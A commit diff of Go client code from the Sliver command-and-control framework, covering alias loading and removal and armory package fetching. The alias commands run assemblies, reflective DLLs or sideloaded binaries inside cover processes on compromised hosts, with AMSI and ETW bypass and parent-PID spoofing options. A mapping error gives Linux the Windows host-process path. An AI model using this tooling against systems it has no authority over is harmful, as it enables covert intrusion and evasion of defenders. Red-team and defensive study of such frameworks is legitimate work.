the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
ManifestFileName = "alias.json"
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var (
// alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
CommandName string `json:"command_name"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
con.PrintInfof("%s alias has been loaded\n", alias.Name)
}
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
if err != nil {
return nil, err
}
// parse it
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: longHelpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.AliasHelpGroup,
}
con.App.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
Command: addAliasCmd,
}
return aliasManifest, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
err := json.Unmarshal(data, alias)
if err != nil {
return nil, err
}
if alias.Name == "" {
return nil, fmt.Errorf("missing alias name in manifest")
}
if alias.CommandName == "" {
return nil, fmt.Errorf("missing command.name in alias manifest")
}
if alias.Help == "" {
return nil, fmt.Errorf("missing command.help in alias manifest")
}
for _, aliasFile := range alias.Files {
if aliasFile.OS == "" {
return nil, fmt.Errorf("missing command.files.os in alias manifest")
}
aliasFile.OS = strings.ToLower(aliasFile.OS)
if aliasFile.Arch == "" {
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
}
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
aliasFile.Path = util.ResolvePath(aliasFile.Path)
if aliasFile.Path == "" || aliasFile.Path == "/" {
return nil, fmt.Errorf("missing command.files.path in alias manifest")
}
}
return alias, nil
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
+75
View File
@@ -0,0 +1,75 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveAliasByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing alias: %s\n", err)
return
} else {
con.PrintInfof("Alias '%s' removed\n", name)
}
}
// RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedAliases[commandName]; !ok {
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
err := os.RemoveAll(extPath)
if err != nil {
return err
}
return nil
}
+519
View File
@@ -0,0 +1,519 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base64"
"errors"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
DisableTLSValidation bool
}
type indexCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(ctx)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else {
con.PrintInfof("No indexes found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
return aliases, exts
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
indexBundles := value.(indexCacheEntry).Index.Bundles
bundles = append(bundles, indexBundles...)
return true
})
return bundles
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
}
}
for _, bundle := range bundles {
if strings.HasPrefix(bundle.Name, prefix) {
results = append(results, bundle.Name)
}
}
return results
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
Type string
Help string
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
})
}
for _, extension := range exts {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.RepoURL,
})
}
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
// PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Name",
"Contains",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL := ctx.Flags.String("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout := ctx.Flags.String("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
if err != nil {
timeout = defaultTimeout
}
}
return ArmoryHTTPConfig{
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: ctx.Flags.Bool("insecure"),
}
}
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr == nil {
indexes = append(indexes, cacheEntry.Index)
}
return true
})
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
}()
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
armoryResult.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
return
}
var index *ArmoryIndex
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
index, err = indexParser(armoryConfig, clientConfig)
} else {
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
}
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
return
}
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
return
}
if sig != nil {
pkgCacheEntry.Sig = *sig
} else {
pkgCacheEntry.LastErr = errors.New("nil signature")
return
}
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
}
+1
View File
@@ -0,0 +1 @@
package armory
+309
View File
@@ -0,0 +1,309 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
// ArmoryInstallCmd - The armory install command
